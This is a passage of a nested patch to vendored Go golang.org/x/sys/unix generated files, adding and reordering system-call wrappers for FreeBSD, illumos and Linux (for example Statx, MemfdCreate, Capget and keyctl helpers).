-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1629,7 +1752,7 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func stat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1644,7 +1767,7 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-+func statfs(path string, stat *statfs_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1659,6 +1782,21 @@ func Statfs(path string, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func statfs_freebsd12(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS_FREEBSD12, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_illumos_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_illumos_amd64.go
-new file mode 100644
-index 00000000..92efa1da
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_illumos_amd64.go
-@@ -0,0 +1,87 @@
-+// go run mksyscall_solaris.go -illumos -tags illumos,amd64 syscall_illumos.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build illumos,amd64
-+
-+package unix
-+
-+import (
-+ "unsafe"
-+)
-+
-+//go:cgo_import_dynamic libc_readv readv "libc.so"
-+//go:cgo_import_dynamic libc_preadv preadv "libc.so"
-+//go:cgo_import_dynamic libc_writev writev "libc.so"
-+//go:cgo_import_dynamic libc_pwritev pwritev "libc.so"
-+
-+//go:linkname procreadv libc_readv
-+//go:linkname procpreadv libc_preadv
-+//go:linkname procwritev libc_writev
-+//go:linkname procpwritev libc_pwritev
-+
-+var (
-+ procreadv,
-+ procpreadv,
-+ procwritev,
-+ procpwritev syscallFunc
-+)
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readv(fd int, iovs []Iovec) (n int, err error) {
-+ var _p0 *Iovec
-+ if len(iovs) > 0 {
-+ _p0 = &iovs[0]
-+ }
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procreadv)), 3, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(len(iovs)), 0, 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func preadv(fd int, iovs []Iovec, off int64) (n int, err error) {
-+ var _p0 *Iovec
-+ if len(iovs) > 0 {
-+ _p0 = &iovs[0]
-+ }
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procpreadv)), 4, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(len(iovs)), uintptr(off), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func writev(fd int, iovs []Iovec) (n int, err error) {
-+ var _p0 *Iovec
-+ if len(iovs) > 0 {
-+ _p0 = &iovs[0]
-+ }
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procwritev)), 3, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(len(iovs)), 0, 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func pwritev(fd int, iovs []Iovec, off int64) (n int, err error) {
-+ var _p0 *Iovec
-+ if len(iovs) > 0 {
-+ _p0 = &iovs[0]
-+ }
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procpwritev)), 4, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(len(iovs)), uintptr(off), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go b/vendor/golang.org/x/sys/unix/zsyscall_linux.go
-similarity index 79%
-copy from vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_linux.go
-index b6ff9e39..fd2dae8e 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux.go
-@@ -1,7 +1,6 @@
--// mksyscall.pl -tags linux,s390x syscall_linux.go syscall_linux_s390x.go
--// Code generated by the command above; see README.md. DO NOT EDIT.
-+// Code generated by mkmerge.go; DO NOT EDIT.
-
--// +build linux,s390x
-+// +build linux
-
- package unix
-
-@@ -10,7 +9,16 @@ import (
- "unsafe"
- )
-
--var _ syscall.Errno
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func FanotifyInit(flags uint, event_f_flags uint) (fd int, err error) {
-+ r0, _, e1 := Syscall(SYS_FANOTIFY_INIT, uintptr(flags), uintptr(event_f_flags), 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -143,21 +151,6 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -173,16 +166,6 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getcwd(buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
-@@ -309,6 +292,36 @@ func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func keyctlRestrictKeyringByType(cmd int, arg2 int, keyType string, restriction string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(keyType)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(restriction)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func keyctlRestrictKeyring(cmd int, arg2 int) (err error) {
-+ _, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
- if e1 != 0 {
-@@ -412,6 +425,26 @@ func Adjtimex(buf *Timex) (state int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Capget(hdr *CapUserHeader, data *CapUserData) (err error) {
-+ _, _, e1 := RawSyscall(SYS_CAPGET, uintptr(unsafe.Pointer(hdr)), uintptr(unsafe.Pointer(data)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Capset(hdr *CapUserHeader, data *CapUserData) (err error) {
-+ _, _, e1 := RawSyscall(SYS_CAPSET, uintptr(unsafe.Pointer(hdr)), uintptr(unsafe.Pointer(data)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Chdir(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -442,6 +475,16 @@ func Chroot(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ClockGetres(clockid int32, res *Timespec) (err error) {
-+ _, _, e1 := Syscall(SYS_CLOCK_GETRES, uintptr(clockid), uintptr(unsafe.Pointer(res)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func ClockGettime(clockid int32, time *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
- if e1 != 0 {
-@@ -452,6 +495,16 @@ func ClockGettime(clockid int32, time *Timespec) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ClockNanosleep(clockid int32, flags int, request *Timespec, remain *Timespec) (err error) {
-+ _, _, e1 := Syscall6(SYS_CLOCK_NANOSLEEP, uintptr(clockid), uintptr(flags), uintptr(unsafe.Pointer(request)), uintptr(unsafe.Pointer(remain)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Close(fd int) (err error) {
- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -473,9 +526,13 @@ func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags in
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-+func DeleteModule(name string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(name)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_DELETE_MODULE, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -484,8 +541,9 @@ func Dup(oldfd int) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-+func Dup(oldfd int) (fd int, err error) {
-+ r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -494,9 +552,8 @@ func Dup3(oldfd int, newfd int, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-+func Dup3(oldfd int, newfd int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -538,19 +595,14 @@ func Eventfd(initval uint, flags int) (fd int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-+ SyscallNoError(SYS_EXIT_GROUP, uintptr(code), 0, 0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+func Fchdir(fd int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -559,8 +611,8 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-+func Fchmod(fd int, mode uint32) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -569,8 +621,13 @@ func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -579,8 +636,8 @@ func Fchdir(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+func Fdatasync(fd int) (err error) {
-+ _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -589,13 +646,20 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+func Fgetxattr(fd int, attr string, dest []byte) (sz int, err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-+ _p0, err = BytePtrFromString(attr)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ var _p1 unsafe.Pointer
-+ if len(dest) > 0 {
-+ _p1 = unsafe.Pointer(&dest[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)), 0, 0)
-+ sz = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -604,9 +668,13 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func FinitModule(fd int, params string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(params)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FINIT_MODULE, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -615,8 +683,15 @@ func fcntl(fd int, cmd int, arg int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-+func Flistxattr(fd int, dest []byte) (sz int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(dest) > 0 {
-+ _p0 = unsafe.Pointer(&dest[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS_FLISTXATTR, uintptr(fd), uintptr(_p0), uintptr(len(dest)))
-+ sz = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -635,6 +710,42 @@ func Flock(fd int, how int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fremovexattr(fd int, attr string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fsetxattr(fd int, attr string, dest []byte, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(dest) > 0 {
-+ _p1 = unsafe.Pointer(&dest[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -674,7 +785,7 @@ func Getpgid(pid int) (pgid int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETPID, 0, 0, 0)
- pid = int(r0)
- return
- }
-@@ -682,7 +793,7 @@ func Getpid() (pid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETPPID, 0, 0, 0)
- ppid = int(r0)
- return
- }
-@@ -739,7 +850,7 @@ func Getsid(pid int) (sid int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETTID, 0, 0, 0)
- tid = int(r0)
- return
- }
-@@ -773,6 +884,27 @@ func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func InitModule(moduleImage []byte, params string) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(moduleImage) > 0 {
-+ _p0 = unsafe.Pointer(&moduleImage[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(params)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_INIT_MODULE, uintptr(_p0), uintptr(len(moduleImage)), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(pathname)
-@@ -955,6 +1087,22 @@ func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func MemfdCreate(name string, flags int) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(name)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall(SYS_MEMFD_CREATE, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -995,6 +1143,17 @@ func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func PerfEventOpen(attr *PerfEventAttr, pid int, cpu int, groupFd int, flags int) (fd int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PERF_EVENT_OPEN, uintptr(unsafe.Pointer(attr)), uintptr(pid), uintptr(cpu), uintptr(groupFd), uintptr(flags), 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func PivotRoot(newroot string, putold string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(newroot)
-@@ -1035,6 +1194,17 @@ func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func read(fd int, p []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(p) > 0 {
-@@ -1072,7 +1242,7 @@ func Removexattr(path string, attr string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+func Renameat2(olddirfd int, oldpath string, newdirfd int, newpath string, flags uint) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(oldpath)
- if err != nil {
-@@ -1083,7 +1253,7 @@ func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err e
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ _, _, e1 := Syscall6(SYS_RENAMEAT2, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1227,15 +1397,24 @@ func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-+func signalfd(fd int, sigmask *Sigset_t, maskSize uintptr, flags int) (newfd int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SIGNALFD4, uintptr(fd), uintptr(unsafe.Pointer(sigmask)), uintptr(maskSize), uintptr(flags), 0, 0)
-+ newfd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_STATX, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mask), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +1423,15 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Sync() {
-+ SyscallNoError(SYS_SYNC, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Syncfs(fd int) (err error) {
-+ _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1254,9 +1440,8 @@ func Sysinfo(info *Sysinfo_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(r0)
-+func Sysinfo(info *Sysinfo_t) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1287,7 +1472,7 @@ func Times(tms *Tms) (ticks uintptr, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_UMASK, uintptr(mask), 0, 0)
- oldmask = int(r0)
- return
- }
-@@ -1329,16 +1514,6 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func write(fd int, p []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(p) > 0 {
-@@ -1388,24 +1563,15 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
